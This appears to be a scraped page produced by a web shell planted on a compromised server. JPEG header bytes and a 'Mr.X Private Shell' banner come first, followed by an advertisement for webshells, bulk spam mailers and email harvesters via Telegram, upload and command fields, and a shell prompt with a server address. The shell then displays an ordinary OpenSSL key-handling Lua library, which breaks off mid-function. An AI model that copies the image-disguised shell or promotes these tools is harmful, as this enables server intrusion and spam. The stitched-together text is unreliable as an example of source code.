����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
local ffi = require "ffi"
local C = ffi.C
local ffi_gc = ffi.gc
local ffi_new = ffi.new
local ffi_str = ffi.string
local ffi_cast = ffi.cast
local ffi_copy = ffi.copy

local rsa_macro = require "resty.openssl.include.rsa"
local dh_macro = require "resty.openssl.include.dh"
require "resty.openssl.include.bio"
require "resty.openssl.include.pem"
require "resty.openssl.include.x509"
require "resty.openssl.include.evp.pkey"
local evp_macro = require "resty.openssl.include.evp"
local pkey_macro = require "resty.openssl.include.evp.pkey"
local bio_util = require "resty.openssl.auxiliary.bio"
local digest_lib = require "resty.openssl.digest"
local rsa_lib = require "resty.openssl.rsa"
local dh_lib = require "resty.openssl.dh"
local ec_lib = require "resty.openssl.ec"
local ecx_lib = require "resty.openssl.ecx"
local objects_lib = require "resty.openssl.objects"
local jwk_lib = require "resty.openssl.auxiliary.jwk"
local ctx_lib = require "resty.openssl.ctx"
local ctypes = require "resty.openssl.auxiliary.ctypes"
local ecdsa_util = require "resty.openssl.auxiliary.ecdsa"
local format_error = require("resty.openssl.err").format_error
local log_warn = require "resty.openssl.auxiliary.compat".log_warn
local log_debug = require "resty.openssl.auxiliary.compat".log_debug

local OPENSSL_3X = require("resty.openssl.version").OPENSSL_3X

local ptr_of_uint = ctypes.ptr_of_uint
local ptr_of_size_t = ctypes.ptr_of_size_t
local ptr_of_int = ctypes.ptr_of_int

local null = ctypes.null
local load_pem_args = { null, null, null }
local load_der_args = { null }

local get_pkey_key = {
  [evp_macro.EVP_PKEY_RSA] = function(ctx) return C.EVP_PKEY_get0_RSA(ctx) end,
  [evp_macro.EVP_PKEY_EC] = function(ctx) return C.EVP_PKEY_get0_EC_KEY(ctx) end,
  [evp_macro.EVP_PKEY_DH]  = function(ctx) return C.EVP_PKEY_get0_DH(ctx) end
}

local load_rsa_key_funcs

if not OPENSSL_3X then
  load_rsa_key_funcs= {
    ['PEM_read_bio_RSAPrivateKey'] = true,
    ['PEM_read_bio_RSAPublicKey'] = true,
  } -- those functions return RSA* instead of EVP_PKEY*
end

local function load_pem_der(txt, opts, funcs)
  local fmt = opts.format or '*'
  if fmt ~= 'PEM' and fmt ~= 'DER' and fmt ~= "JWK" and fmt ~= '*' then
    return nil, "expecting 'DER', 'PEM', 'JWK' or '*' as \"format\""
  end

  local typ = opts.type or '*'
  if typ ~= 'pu' and typ ~= 'pr' and typ ~= '*' then
    return nil, "expecting 'pr', 'pu' or '*' as \"type\""
  end

  if fmt == "JWK" and (typ == "pu" or type == "pr") and not OPENSSL_3X then
    return nil, "explictly load private or public key from JWK format is not supported on OpenSSL 1.1.1"
  end

  log_debug("load key using fmt: ", fmt, ", type: ", typ)

  local bio = C.BIO_new_mem_buf(txt, #txt)
  if bio == nil then
    return nil, "BIO_new_mem_buf() failed"
  end
  ffi_gc(bio, C.BIO_free)

  local ctx

  local fs = funcs[fmt][typ]
  local passphrase_cb
  for f, arg in pairs(fs) do
    -- don't need BIO when loading JWK key: we parse it in Lua land
    if f == "load_jwk" then
      local err
      ctx, err = jwk_lib[f](txt, typ, opts and opts.properties)
      if ctx == nil then
        -- if fmt is explictly set to JWK, we should return an error now
        if fmt == "JWK" then
          return nil, err
        end
        log_debug("jwk decode failed: ", err, ", continuing")
      end
    else
      -- #define BIO_CTRL_RESET 1
      local code = C.BIO_ctrl(bio, 1, 0, nil)
      if code ~= 1 then
        return nil, "BIO_ctrl() failed"
      end

      -- only pass in passphrase/passphrase_cb to PEM_* functions
      if fmt == "PEM" or (fmt == "*" and arg == load_pem_args) then
        if opts.passphrase then
          local passphrase = opts.passphrase
          if type(passphrase) ~= "string" then
            -- clear errors occur when trying
            C.ERR_clear_error()
            return nil, "passphrase must be a string"
          end
          arg = { null, null, passphrase }
        elseif opts.passphrase_cb then
          passphrase_cb = passphrase_cb or ffi_cast("pem_password_cb", function(buf, size)
            local p = opts.passphrase_cb()
            local len = #p -- 1 byte for \0
            if len > size then
              log_warn("pkey:load_pem_der: passphrase truncated from ", len, " to ", size)
              len = size
            end
            ffi_copy(buf, p, len)
            return len
          end)
          arg = { null, passphrase_cb, null }
        end
      end

      ctx = C[f](bio, unpack(arg))
    end

    if ctx ~= nil then
      log_debug("pkey:load_pem_der: loaded pkey using function ", f)

      -- pkcs1 functions create a rsa rather than evp_pkey
      -- disable the checking in openssl 3.0 for sail safe
      if not OPENSSL_3X and load_rsa_key_funcs[f] then
        local rsa = ctx
        ctx = C.EVP_PKEY_new()
        if ctx == null then
          return nil, format_error("pkey:load_pem_der: EVP_PKEY_new")
        end

        if C.EVP_PKEY_assign(ctx, evp_macro.EVP_PKEY_RSA, rsa) ~= 1 then
          C.RSA_free(rsa)
          C.EVP_PKEY_free(ctx)
          return nil, "pkey:load_pem_der: EVP_PKEY_assign() failed"
        end
      end

      break
    end
  end
  if passphrase_cb ~= nil then
    passphrase_cb:free()
  end

  if ctx == nil then
    return nil, format_error()
  end
  -- clear errors occur when trying
  C.ERR_clear_error()
  return ctx, nil
end

local function _pctx_ctrl_str(pctx, opts)
  if not opts then
    return true
  end

  if opts.mgf1_md and pkey_macro.EVP_PKEY_CTX_set_rsa_mgf1_md_name(pctx, opts.mgf1_md, nil) ~= 1 then
    return nil, format_error("EVP_PKEY_CTX_set_rsa_mgf1_md_name")
  end

  if opts.oaep_md and pkey_macro.EVP_PKEY_CTX_set_rsa_oaep_md_name(pctx, opts.oaep_md, nil) ~= 1 then
    return nil, format_error("EVP_PKEY_CTX_set_rsa_oaep_md_name")
  end

  if opts.pss_saltlen and pkey_macro.EVP_PKEY_CTX_set_rsa_pss_saltlen(pctx, opts.pss_saltlen) ~= 1 then
    return nil, format_error("EVP_PKEY_CTX_set_rsa_pss_saltlen")
  end


  for _, c in ipairs(opts) do
    if type(c) == "string" then
      local k, v = string.match(c, "([_%w]+):([_%w]+)")
      if not k or not v then
        return nil, "unknown ctrl str: ".. c
      end

      if C.EVP_PKEY_CTX_ctrl_str(pctx, k, v) ~= 1 then
        return nil, format_error(string.format('EVP_PKEY_CTX_ctrl_str(%s, "%s", "%s")', pctx, k, v))
      end
    end
  end
  return true
end


local function generate_param(key_type, config)
  if key_type == evp_macro.EVP_PKEY_DH then
    local dh_group = config.group
    if dh_group then
      local get_group_func = dh_macro.dh_groups[dh_group]
      if not get_group_func then
        return nil, "unknown pre-defined group " .. dh_group
      end
      local ctx = get_group_func()
      if ctx == nil then
        return nil, format_error("DH_get_x")
      end
      local params = C.EVP_PKEY_new()
      if not params then
        return nil, format_error("EVP_PKEY_new")
      end
      ffi_gc(params, C.EVP_PKEY_free)
      if C.EVP_PKEY_assign(params, key_type, ctx) ~= 1 then
        return nil, format_error("EVP_PKEY_assign")
      end
      return params
    end
  end

  local pctx = C.EVP_PKEY_CTX_new_id(key_type, nil)
  if pctx == nil then
    return nil, format_error("EVP_PKEY_CTX_new_id")
  end
  ffi_gc(pctx, C.EVP_PKEY_CTX_free)

  if C.EVP_PKEY_paramgen_init(pctx) ~= 1 then
    return nil, format_error("EVP_PKEY_paramgen_init")
  end

  if key_type == evp_macro.EVP_PKEY_EC then
    local curve = config.curve or 'prime192v1'
    local nid = C.OBJ_ln2nid(curve)
    if nid == 0 then
      return nil, "unknown curve " .. curve
    end

    if pkey_macro.EVP_PKEY_CTX_set_ec_paramgen_curve_nid(pctx, nid) <= 0 then
      return nil, format_error("EVP_PKEY_CTX_ctrl: EC: curve_nid")
    end

    -- use the named-curve encoding for best backward-compatibilty
    -- and for playing well with go:crypto/x509
    -- # define OPENSSL_EC_NAMED_CURVE  0x001
    if pkey_macro.EVP_PKEY_CTX_set_ec_param_enc(pctx, 1) <= 0 then
      return nil, format_error("EVP_PKEY_CTX_ctrl: EC: param_enc")
    end

  elseif key_type == evp_macro.EVP_PKEY_DH then
    local bits = config.bits
    if not config.param and not bits then
      bits = 2048
    end
    if bits and pkey_macro.EVP_PKEY_CTX_set_dh_paramgen_prime_len(pctx, bits) <= 0 then
      return nil, format_error("EVP_PKEY_CTX_ctrl: DH: bits")
    end
  end

  local ok, err = _pctx_ctrl_str(pctx, config)
  if not ok then
    return nil, "pkey:generate_param: " .. err
  end

  local ctx_ptr = ffi_new("EVP_PKEY*[1]")
  if C.EVP_PKEY_paramgen(pctx, ctx_ptr) ~= 1 then
    return nil, format_error("EVP_PKEY_paramgen")
  end

  local params = ctx_ptr[0]
  ffi_gc(params, C.EVP_PKEY_free)

  return params
end

local load_param_funcs = {
  [evp_macro.EVP_PKEY_EC] = {
    ["*"] = {
      ["*"] = {
        ['PEM_read_bio_ECPKParameters'] = load_pem_args,
        -- ['d2i_ECPKParameters_bio'] = load_der_args,
      }
    },
  },
  [evp_macro.EVP_PKEY_DH] = {
    ["*"] = {
      ["*"] = {
        ['PEM_read_bio_DHparams'] = load_pem_args,
        -- ['d2i_DHparams_bio'] = load_der_args,
      }
    },
  },
}

local function generate_key(config)
  local typ = config.type or 'RSA'
  local key_type

  if typ == "RSA" then
    key_type = evp_macro.EVP_PKEY_RSA
  elseif typ == "EC" then
    key_type = evp_macro.EVP_PKEY_EC
  elseif typ == "DH" then
    key_type = evp_macro.EVP_PKEY_DH
  elseif evp_macro.ecx_curves[typ] then
    key_type = evp_macro.ecx_curves[typ]
  else
    return nil, "unsupported type " .. typ
  end
  if key_type == 0 then
    return nil, "the linked OpenSSL library doesn't support " .. typ .. " key"
  end

  local pctx

  if key_type == evp_macro.EVP_PKEY_EC or key_type == evp_macro.EVP_PKEY_DH then
    local params, err
    if config.param then
      -- HACK
      config.type = nil
      local ctx, err = load_pem_der(config.param, config, load_param_funcs[key_type])
      if err then
        return nil, "load_pem_der: " .. err
      end
      if key_type == evp_macro.EVP_PKEY_EC then
        local ec_group = ctx
        ffi_gc(ec_group, C.EC_GROUP_free)
        ctx = C.EC_KEY_new()
        if ctx == nil then
          return nil, "EC_KEY_new() failed"
        end
        if C.EC_KEY_set_group(ctx, ec_group) ~= 1 then
          return nil, format_error("EC_KEY_set_group")
        end
      end
      params = C.EVP_PKEY_new()
      if not params then
        return nil, format_error("EVP_PKEY_new")
      end
      ffi_gc(params, C.EVP_PKEY_free)
      if C.EVP_PKEY_assign(params, key_type, ctx) ~= 1 then
        return nil, format_error("EVP_PKEY_assign")
      end
    else
      params, err = generate_param(key_type, config)
      if err then
        return nil, "generate_param: " .. err
      end
    end
    pctx = C.EVP_PKEY_CTX_new(params, nil)
    if pctx == nil then
      return nil, format_error("EVP_PKEY_CTX_new")
    end
  else
    pctx = C.EVP_PKEY_CTX_new_id(key_type, nil)
    if pctx == nil then
      return nil, format_error("EVP_PKEY_CTX_new_id")
    end
  end

  ffi_gc(pctx, C.EVP_PKEY_CTX_free)

  if C.EVP_PKEY_keygen_init(pctx) ~= 1 then
    return nil, format_error("EVP_PKEY_keygen_init")
  end
  -- RSA key parameters are set for keygen ctx not paramgen
  if key_type == evp_macro.EVP_PKEY_RSA then
    local bits = config.bits or 2048
    if bits > 4294967295 then
      return nil, "bits out of range"
    end

    if pkey_macro.EVP_PKEY_CTX_set_rsa_keygen_bits(pctx, bits) <= 0 then
      return nil, format_error("EVP_PKEY_CTX_ctrl: RSA: bits")
    end

    if config.exp then
      -- don't free exp as it's used internally in key
      local exp = C.BN_new()
      if exp == nil then
        return nil, "BN_new() failed"
      end
      C.BN_set_word(exp, config.exp)

      if pkey_macro.EVP_PKEY_CTX_set_rsa_keygen_pubexp(pctx, exp) <= 0 then
        return nil, format_error("EVP_PKEY_CTX_ctrl: RSA: exp")
      end
    end
  end

  local ok, err = _pctx_ctrl_str(pctx, config)
  if not ok then
    return nil, "pkey:generate_key: " .. err
  end

  local ctx_ptr = ffi_new("EVP_PKEY*[1]")
  -- TODO: move to use EVP_PKEY_gen after drop support for <1.1.1
  if C.EVP_PKEY_keygen(pctx, ctx_ptr) ~= 1 then
    return nil, format_error("EVP_PKEY_gen")
  end
  return ctx_ptr[0]
end

local function compose_key(config)
  local typ = config.type or 'RSA'
  local key_type

  if typ == "RSA" then
    key_type = evp_macro.EVP_PKEY_RSA
  elseif typ == "EC" then
    key_type = evp_macro.EVP_PKEY_EC
  elseif evp_macro.ecx_curves[typ] then
    key_type = evp_macro.ecx_curves[typ]
  else
    return nil, "unsupported type " .. typ
  end
  if key_type == 0 then
    return nil, "the linked OpenSSL library doesn't support " .. typ .. " key"
  end

  local key, err, key_free, _

  if key_type == evp_macro.EVP_PKEY_EC then
    key = C.EC_KEY_new()
    if key == nil then
      return nil, "EC_KEY_new failed"
    end
    key_free = C.EC_KEY_free
    _, err = ec_lib.set_parameters(key, config.params)
  elseif key_type == evp_macro.EVP_PKEY_RSA then
    key = C.RSA_new()
    if key == nil then
      return nil, "RSA_new failed"
    end
    key_free = C.RSA_free
    _, err = rsa_lib.set_parameters(key, config.params)
  elseif key_type == evp_macro.EVP_PKEY_ED25519 or
         key_type == evp_macro.EVP_PKEY_X25519 or
         key_type == evp_macro.EVP_PKEY_ED448 or
         key_type == evp_macro.EVP_PKEY_X448 then
    return ecx_lib.set_parameters(key_type, nil, config.params)
  end

  if err then
    return nil, "failed to construct " .. typ.. " key from parameters: " .. err
  end

  local ctx = C.EVP_PKEY_new()
  if ctx == nil then
    key_free(key)
    return nil, "EVP_PKEY_new() failed"
  end

  local code = C.EVP_PKEY_assign(ctx, key_type, key)
  if code ~= 1 then
    key_free(key)
    C.EVP_PKEY_free(ctx)
    return nil, "EVP_PKEY_assign() failed"
  end

  return ctx
end

local load_key_try_funcs = {} do
  -- TODO: pkcs1 load functions are not required in openssl 3.0
  local _load_key_try_funcs = {
    PEM = {
      -- Note: make sure we always try load priv key first
      pr = {
        ['PEM_read_bio_PrivateKey'] = load_pem_args,
        -- disable in openssl3.0, PEM_read_bio_PrivateKey can read pkcs1 in 3.0
        ['PEM_read_bio_RSAPrivateKey'] = not OPENSSL_3X and load_pem_args or nil,
      },
      pu = {
        ['PEM_read_bio_PUBKEY'] = load_pem_args,
        -- disable in openssl3.0, PEM_read_bio_PrivateKey can read pkcs1 in 3.0
        ['PEM_read_bio_RSAPublicKey'] = not OPENSSL_3X and load_pem_args or nil,
      },
    },
    DER = {
      pr = { ['d2i_PrivateKey_bio'] = load_der_args, },
      pu = { ['d2i_PUBKEY_bio'] = load_der_args, },
    },
    JWK = {
      pr = { ['load_jwk'] = {}, },
      pu = { ['load_jwk'] = {}, },
    }
  }
  -- populate * funcs
  local all_funcs = {}
  local typ_funcs = {}
  for fmt, ffs in pairs(_load_key_try_funcs) do
    load_key_try_funcs[fmt] = ffs

    local funcs = {}
    for typ, fs in pairs(ffs) do
      for f, arg in pairs(fs) do
        funcs[f] = arg
        all_funcs[f] = arg
        if not typ_funcs[typ] then
          typ_funcs[typ] = {}
        end
        typ_funcs[typ] = arg
      end
    end
    load_key_try_funcs[fmt]["*"] = funcs
  end
  load_key_try_funcs["*"] = {}
  load_key_try_funcs["*"]["*"] = all_funcs
  for typ, fs in pairs(typ_funcs) do
    load_key_try_funcs[typ] = fs
  end
end

local function __tostring(self, is_priv, fmt, is_pkcs1)
  if fmt == "JWK" then
    return jwk_lib.dump_jwk(self, is_priv)
  elseif is_pkcs1 then
    if fmt ~= "PEM" or self.key_type ~= evp_macro.EVP_PKEY_RSA then
      return nil, "PKCS#1 format is only supported to encode RSA key in \"PEM\" format"
    elseif OPENSSL_3X then -- maybe possible with OSSL_ENCODER_CTX_new_for_pkey though
      return nil, "writing out RSA key in PKCS#1 format is not supported in OpenSSL 3.0"
    end
  end
  if is_priv then
    if fmt == "DER" then
      return bio_util.read_wrap(C.i2d_PrivateKey_bio, self.ctx)
    end
    -- PEM
    if is_pkcs1 then
      local rsa = get_pkey_key[evp_macro.EVP_PKEY_RSA](self.ctx)
      if rsa == nil then
        return nil, "unable to read RSA key for writing"
      end
      return bio_util.read_wrap(C.PEM_write_bio_RSAPrivateKey,
        rsa,
        nil, nil, 0, nil, nil)
    end
    return bio_util.read_wrap(C.PEM_write_bio_PrivateKey,
      self.ctx,
      nil, nil, 0, nil, nil)
  else
    if fmt == "DER" then
      return bio_util.read_wrap(C.i2d_PUBKEY_bio, self.ctx)
    end
    -- PEM
    if is_pkcs1 then
      local rsa = get_pkey_key[evp_macro.EVP_PKEY_RSA](self.ctx)
      if rsa == nil then
        return nil, "unable to read RSA key for writing"
      end
      return bio_util.read_wrap(C.PEM_write_bio_RSAPublicKey, rsa)
    end
    return bio_util.read_wrap(C.PEM_write_bio_PUBKEY, self.ctx)
  end

end

local _M = {}
local mt = { __index = _M, __tostring = __tostring }

local empty_table = {}
local evp_pkey_ptr_ct = ffi.typeof('EVP_PKEY*')

function _M.new(s, opts)
  local ctx, err
  s = s or {}
  if type(s) == 'table' then
    if s.params then
      ctx, err = compose_key(s)
    else
      ctx, err = generate_key(s)
    end
    if err then
      err = "pkey.new:new_key: " .. err
    end
  elseif type(s) == 'string' then
    ctx, err = load_pem_der(s, opts or empty_table, load_key_try_funcs)
    if err then
      err = "pkey.new:load_key: " .. err
    end
  elseif type(s) == 'cdata' then
    if ffi.istype(evp_pkey_ptr_ct, s) then
      ctx = s
    else
      return nil, "pkey.new: expect a EVP_PKEY* cdata at #1"
    end
  else
    return nil, "pkey.new: unexpected type " .. type(s) .. " at #1"
  end

  if err then
    return nil, err
  end

  ffi_gc(ctx, C.EVP_PKEY_free)

  local key_type = OPENSSL_3X and C.EVP_PKEY_get_base_id(ctx) or C.EVP_PKEY_base_id(ctx)
  if key_type == 0 then
    return nil, "pkey.new: cannot get key_type"
  end
  local key_type_is_ecx = (key_type == evp_macro.EVP_PKEY_ED25519) or
                          (key_type == evp_macro.EVP_PKEY_X25519) or
                          (key_type == evp_macro.EVP_PKEY_ED448) or
                          (key_type == evp_macro.EVP_PKEY_X448)

  -- although OpenSSL discourages to use this size for digest/verify
  -- but this is good enough for now
  local buf_size = OPENSSL_3X and C.EVP_PKEY_get_size(ctx) or C.EVP_PKEY_size(ctx)

  local self = setmetatable({
    ctx = ctx,
    pkey_ctx = nil,
    key_type = key_type,
    key_type_is_ecx = key_type_is_ecx,
    buf = ctypes.uchar_array(buf_size),
    buf_size = buf_size,
  }, mt)

  return self, nil
end

function _M.istype(l)
  return l and l.ctx and ffi.istype(evp_pkey_ptr_ct, l.ctx)
end

function _M:get_key_type(nid_only)
  return nid_only and self.key_type or objects_lib.nid2table(self.key_type)
end

function _M:get_size()
  return OPENSSL_3X and C.EVP_PKEY_get_size(self.ctx) or C.EVP_PKEY_size(self.ctx)
end

function _M:get_default_digest_type()
  local nid = ptr_of_int()
  local code = C.EVP_PKEY_get_default_digest_nid(self.ctx, nid)
  if code == -2 then
    return nil, "operation is not supported by the public key algorithm"
  elseif code <= 0 then
    return nil, format_error("get_default_digest", code)
  end

  local ret = objects_lib.nid2table(nid[0])
  ret.mandatory = code == 2
  return ret
end

function _M:get_provider_name()
  if not OPENSSL_3X then
    return false, "pkey:get_provider_name is not supported"
  end
  local p = C.EVP_PKEY_get0_provider(self.ctx)
  if p == nil then
    return nil
  end
  return ffi_str(C.OSSL_PROVIDER_get0_name(p))
end

if OPENSSL_3X then
  local param_lib = require "resty.openssl.param"
  _M.settable_params, _M.set_params, _M.gettable_params, _M.get_param = param_lib.get_params_func("EVP_PKEY", "key_type")
end

function _M:get_parameters()
  if not self.key_type_is_ecx then
    local getter = get_pkey_key[self.key_type]
    if not getter then
      return nil, "key getter not defined"
    end
    local key = getter(self.ctx)
    if key == nil then
      return nil, format_error("EVP_PKEY_get0_{key}")
    end

    if self.key_type == evp_macro.EVP_PKEY_RSA then
      return rsa_lib.get_parameters(key)
    elseif self.key_type == evp_macro.EVP_PKEY_EC then
      return ec_lib.get_parameters(key)
    elseif self.key_type == evp_macro.EVP_PKEY_DH then
      return dh_lib.get_parameters(key)
    end
  else
    return ecx_lib.get_parameters(self.ctx)
  end
end

function _M:set_parameters(opts)
  if not self.key_type_is_ecx then
    local getter = get_pkey_key[self.key_type]
    if not getter then
      return nil, "key getter not defined"
    end
    local key = getter(self.ctx)
    if key == nil then
      return nil, format_error("EVP_PKEY_get0_{key}")
    end

    if self.key_type == evp_macro.EVP_PKEY_RSA then
      return rsa_lib.set_parameters(key, opts)
    elseif self.key_type == evp_macro.EVP_PKEY_EC then
      return ec_lib.set_parameters(key, opts)
    elseif self.key_type == evp_macro.EVP_PKEY_DH then
      return dh_lib.set_parameters(key, opts)
    end
  else
    -- for ecx keys we always create a new EVP_PKEY and release the old one
    local ctx, err = ecx_lib.set_parameters(self.key_type, self.ctx, opts)
    if err then
      return false, err
    end
    self.ctx = ctx
  end
end

function _M:is_private()
  local params = self:get_parameters()
  if self.key_type == evp_macro.EVP_PKEY_RSA then
    return params.d ~= nil
  else
    return params.private ~= nil
  end
end

local ASYMMETRIC_OP_ENCRYPT = 0x1
local ASYMMETRIC_OP_DECRYPT = 0x2
local ASYMMETRIC_OP_SIGN_RAW = 0x3
local ASYMMETRIC_OP_VERIFY_RAW = 0x4
local ASYMMETRIC_OP_VERIFY_RECOVER = 0x5

local function asymmetric_routine(self, s, op, padding, opts)
  if type(s) ~= "string" then
    return nil, "pkey:asymmetric_routine: expect a string at #1"
  end

  local pkey_ctx

  if self.key_type == evp_macro.EVP_PKEY_RSA then
    if padding then
      padding = tonumber(padding)
      if not padding then
        return nil, "invalid padding: " .. __tostring(padding)
      end
    else
      padding = rsa_macro.paddings.RSA_PKCS1_PADDING
    end
  end

  if self.pkey_ctx ~= nil and self.key_type ~= evp_macro.EVP_PKEY_RSA then
    pkey_ctx = self.pkey_ctx
  else
    pkey_ctx = C.EVP_PKEY_CTX_new(self.ctx, nil)
    if pkey_ctx == nil then
      return nil, format_error("pkey:asymmetric_routine EVP_PKEY_CTX_new()")
    end
    ffi_gc(pkey_ctx, C.EVP_PKEY_CTX_free)
    self.pkey_ctx = pkey_ctx
  end

  local f, fint, op_name
  if op == ASYMMETRIC_OP_ENCRYPT then
    fint = C.EVP_PKEY_encrypt_init
    f = C.EVP_PKEY_encrypt
    op_name = "encrypt"
  elseif op == ASYMMETRIC_OP_DECRYPT then
    fint = C.EVP_PKEY_decrypt_init
    f = C.EVP_PKEY_decrypt
    op_name = "decrypt"
  elseif op == ASYMMETRIC_OP_SIGN_RAW then
    fint = C.EVP_PKEY_sign_init
    f = C.EVP_PKEY_sign
    op_name = "sign"
  elseif op == ASYMMETRIC_OP_VERIFY_RAW then
    fint = C.EVP_PKEY_verify_init
    f = C.EVP_PKEY_verify
    op_name = "verify"
  elseif op == ASYMMETRIC_OP_VERIFY_RECOVER then
    fint = C.EVP_PKEY_verify_recover_init
    f = C.EVP_PKEY_verify_recover
    op_name = "verify_recover"
  else
    error("bad \"op\", got " .. op, 2)
  end

  local code = fint(pkey_ctx)
  if code < 1 then
    return nil, format_error("pkey:asymmetric_routine EVP_PKEY_" .. op_name .. "_init", code)
  end

  -- EVP_PKEY_CTX_ctrl must be called after *_init
  if self.key_type == evp_macro.EVP_PKEY_RSA and padding and 
      pkey_macro.EVP_PKEY_CTX_set_rsa_padding(pkey_ctx, padding) ~= 1 then
    return nil, format_error("pkey:asymmetric_routine EVP_PKEY_CTX_set_rsa_padding")
  end

  local ok, err = _pctx_ctrl_str(pkey_ctx, opts)
  if not ok then
    return nil, "pkey:asymmetric_routine: " .. err
  end

  local buf, buf_len
  if opts and opts.buf_in then
    buf = opts.buf_in
    buf_len = #buf
  else
    buf = self.buf
    buf_len = ptr_of_size_t(self.buf_size)
  end

  code = f(pkey_ctx, buf, buf_len, s, #s)
  if code <= 0 then
    return nil, format_error("pkey:asymmetric_routine EVP_PKEY_" .. op_name, code)
  end

  if not opts or not opts.buf_in then
    return ffi_str(self.buf, buf_len[0]), nil
  end

  return true
end

_M.PADDINGS = rsa_macro.paddings

function _M:encrypt(s, padding, opts)
  return asymmetric_routine(self, s, ASYMMETRIC_OP_ENCRYPT, padding, opts)
end

function _M:decrypt(s, padding, opts)
  return asymmetric_routine(self, s, ASYMMETRIC_OP_DECRYPT, padding, opts)
end

function _M:sign_raw(s, padding, opts)
  -- TODO: temporary hack before OpenSSL has proper check for existence of private key
  if self.key_type_is_ecx and not self:is_private() then
    return nil, "pkey:sign_raw: missing private key"
  end

  return asymmetric_routine(self, s, ASYMMETRIC_OP_SIGN_RAW, padding, opts)
end

function _M:verify_raw(signature, hashed_message, md_alg, padding, opts)
  opts = opts or {}
  opts.buf_in = signature
  if md_alg then
    table.insert(opts, "digest:" .. md_alg)
  end

  return asymmetric_routine(self, hashed_message, ASYMMETRIC_OP_VERIFY_RAW, padding, opts)
end

function _M:verify_recover(s, padding, opts)
  return asymmetric_routine(self, s, ASYMMETRIC_OP_VERIFY_RECOVER, padding, opts)
end

local evp_pkey_ctx_ptr_ptr_ct = ffi.typeof('EVP_PKEY_CTX*[1]')

local function sign_verify_prepare(self, fint, md_alg, padding, opts)
  local md_ctx = C.EVP_MD_CTX_new()
  if md_ctx == nil then
    return nil, "pkey:sign_verify_prepare: EVP_MD_CTX_new() failed"
  end
  ffi_gc(md_ctx, C.EVP_MD_CTX_free)

  local algo
  if md_alg then
    if OPENSSL_3X then
      algo = C.EVP_MD_fetch(ctx_lib.get_libctx(), md_alg, nil)
    else
      algo = C.EVP_get_digestbyname(md_alg)
    end
    if algo == nil then
      return nil, string.format("pkey:sign_verify_prepare: invalid digest type \"%s\"", md_alg)
    end
  end

  local ppkey_ctx = evp_pkey_ctx_ptr_ptr_ct()
  if fint(md_ctx, ppkey_ctx, algo, nil, self.ctx) ~= 1 then
    return nil, format_error("pkey:sign_verify_prepare: Init failed")
  end

  -- EVP_PKEY_CTX_ctrl must be called after *_init
  if self.key_type == evp_macro.EVP_PKEY_RSA and padding and 
      pkey_macro.EVP_PKEY_CTX_set_rsa_padding(ppkey_ctx[0], padding) ~= 1 then
    return nil, format_error("pkey:sign_verify_prepare EVP_PKEY_CTX_set_rsa_padding")
  end

  local ok, err = _pctx_ctrl_str(ppkey_ctx[0], opts)
  if not ok then
    return nil, "pkey:sign_verify_prepare: " .. err
  end

  return md_ctx
end

function _M:sign(digest, md_alg, padding, opts)
  -- TODO: temporary hack before OpenSSL has proper check for existence of private key
  if self.key_type_is_ecx and not self:is_private() then
    return nil, "pkey:sign: missing private key"
  end

  local ret, err

  if digest_lib.istype(digest) then
    local length = ptr_of_uint()
    if C.EVP_SignFinal(digest.ctx, self.buf, length, self.ctx) ~= 1 then
      return nil, format_error("pkey:sign: EVP_SignFinal")
    end
    ret = ffi_str(self.buf, length[0])
  elseif type(digest) == "string" then
    local md_ctx, err = sign_verify_prepare(self, C.EVP_DigestSignInit, md_alg, padding, opts)
    if err then
      return nil, err
    end

    local length = ptr_of_size_t(self.buf_size)
    if C.EVP_DigestSign(md_ctx, self.buf, length, digest, #digest) ~= 1 then
      return nil, format_error("pkey:sign: EVP_DigestSign")
    end
    ret = ffi_str(self.buf, length[0])
  else
    return nil, "pkey:sign: expect a digest instance or a string at #1"
  end

  if self.key_type == evp_macro.EVP_PKEY_EC and opts and opts.ecdsa_use_raw then
    local ec_key = get_pkey_key[evp_macro.EVP_PKEY_EC](self.ctx)

    ret, err = ecdsa_util.sig_der2raw(ret, ec_key)
    if err then
      return nil, "pkey:sign: ecdsa.sig_der2raw: " .. err
    end
  end

  return ret
end

function _M:verify(signature, digest, md_alg, padding, opts)
  if type(signature) ~= "string" then
    return nil, "pkey:verify: expect a string at #1"
  end
  local err

  if self.key_type == evp_macro.EVP_PKEY_EC and opts and opts.ecdsa_use_raw then
    local ec_key = get_pkey_key[evp_macro.EVP_PKEY_EC](self.ctx)

    signature, err = ecdsa_util.sig_raw2der(signature, ec_key)
    if err then
      return nil, "pkey:sign: ecdsa.sig_raw2der: " .. err
    end
  end

  local code
  if digest_lib.istype(digest) then
    code = C.EVP_VerifyFinal(digest.ctx, signature, #signature, self.ctx)
  elseif type(digest) == "string" then
    local md_ctx, err = sign_verify_prepare(self, C.EVP_DigestVerifyInit, md_alg, padding, opts)
    if err then
      return nil, err
    end

    code = C.EVP_DigestVerify(md_ctx, signature, #signature, digest, #digest)
  else
    return nil, "pkey:verify: expect a digest instance or a string at #2"
  end

  if code == 0 then
    return false, format_error("pkey:verify")
  elseif code == 1 then
    return true, nil
  end
  return false, format_error("pkey:verify")
end

function _M:derive(peerkey)
  if not self.istype(peerkey) then
    return nil, "pkey:derive: expect a pkey instance at #1"
  end
  local pctx = C.EVP_PKEY_CTX_new(self.ctx, nil)
  if pctx == nil then
    return nil, "pkey:derive: EVP_PKEY_CTX_new() failed"
  end
  ffi_gc(pctx, C.EVP_PKEY_CTX_free)
  local code = C.EVP_PKEY_derive_init(pctx)
  if code <= 0 then
    return nil, format_error("pkey:derive: EVP_PKEY_derive_init", code)
  end

  code = C.EVP_PKEY_derive_set_peer(pctx, peerkey.ctx)
  if code <= 0 then
    return nil, format_error("pkey:derive: EVP_PKEY_derive_set_peer", code)
  end

